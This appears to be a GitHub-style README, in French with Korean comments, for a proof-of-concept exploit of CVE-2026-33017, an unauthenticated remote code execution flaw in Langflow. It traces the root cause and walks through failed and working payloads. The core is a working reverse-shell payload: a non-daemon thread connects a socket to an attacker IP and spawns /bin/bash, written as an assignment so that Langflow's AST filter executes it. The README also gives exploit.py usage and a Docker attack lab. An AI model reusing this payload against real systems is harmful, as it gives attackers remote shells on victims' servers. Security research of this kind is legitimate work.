
Exploit PoC pour une RCE non authentifiée dans Langflow <=1.8.1, incluant une analyse de cause racine au niveau du code source, une charge utile de reverse shell consciente de l'AST, un laboratoire Docker, un diff de patch et des règles de détection.
Avertissement
Ce dépôt a été créé à des fins de recherche en sécurité et d'éducation.
À utiliser uniquement dans un environnement d'entraînement isolé.
Toute utilisation sur des systèmes non autorisés constitue une violation de la loi sur les réseaux d'information et de communication et est passible de sanctions pénales.
| Élément | Description |
|---|---|
| CVE ID | CVE-2026-33017 |
| Logiciel vulnérable | Langflow (constructeur de workflows IA) |
| Versions affectées | Langflow ≤ 1.8.1 |
| Version corrigée | Langflow ≥ 1.9.0 |
| Type de vulnérabilité | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Inscrit |
POST /api/v1/build_public_tmp/{flow_id}/flow
Point de terminaison prévu pour la construction de flux publics, conçu pour être accessible sans authentification.
Chemin d'exécution confirmé en traçant directement le code source :
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
La fonction prepare_global_scope() n'exécute pas toutes les instructions du code soumis. Après l'analyse AST, seuls certains types de nœuds sont sélectionnés et exécutés :
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
Types de nœuds AST exécutables :
| Type de nœud AST | Exemple | Exécution |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Exécuté |
ClassDef | class ExploitComponent(Component) | ✅ Exécuté |
Assign | _r = os.system("id") | ✅ Exécuté |
AnnAssign | _r: int = os.system("id") | ✅ Exécuté |
Expr | os.system("id") (appel isolé) | ❌ Ignoré |
Conclusion : le payload doit impérativement être écrit sous forme d'
Assign(_r = ...) pour être exécuté.
Un simple appel de fonction (os.system("id")) est classé comme nœudExpret est filtré.
Au cours de l'expérimentation, plusieurs méthodes de payload ont été testées et la cause de chaque échec a été identifiée au niveau du code source.
subprocess.Popen + wait() (échec)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
Cause de l'échec : le thread de travail Langflow surveille la valeur de retour du composant et ferme de force le socket à l'expiration du délai. Le blocage de _proc.wait() devient alors sans effet.
os.execve() (échec)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Cause de l'échec : selon les règles POSIX, lors d'un appel à execve() dans un processus multithread, tous les threads, sauf le thread appelant, sont terminés → crash complet du worker uvicorn → HTTP 500.
os.fork() + execve() (échec)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Cause de l'échec : uvicorn détecte la fin anormale du processus enfant et redémarre le worker → HTTP 500.
threading.Thread(daemon=True) (échec)threading.Thread(target=_shell, daemon=True).start()
Cause de l'échec : un thread daemon=True est détruit lorsque le thread principal (worker Langflow) se termine. Le thread meurt avant même la tentative de connect().
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Raisons du choix de daemon=False :
daemon=True → détruit avec le thread du worker Langflow à la fin de celui-cidaemon=False → cycle de vie indépendant du worker → maintien de la connexion socketCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
À exécuter dans le conteneur de l'attaquant :
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Options :
| Option | Description | Valeur par défaut |
|---|---|---|
--url | URL Langflow cible | Requis |
--lhost | IP de rappel du reverse shell | Requis |
--lport | Port de rappel du reverse shell | Requis |
--flow-id | UUID du flux public (généré automatiquement si omis) | Automatique |
--user | Identifiant administrateur | admin |
--password | Mot de passe administrateur | admin123! |
--no-listen | Désactive l'écouteur intégré (si nc externe utilisé) | False |
--timeout | Délai d'expiration HTTP (secondes) | 30 |
Sortie attendue :
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200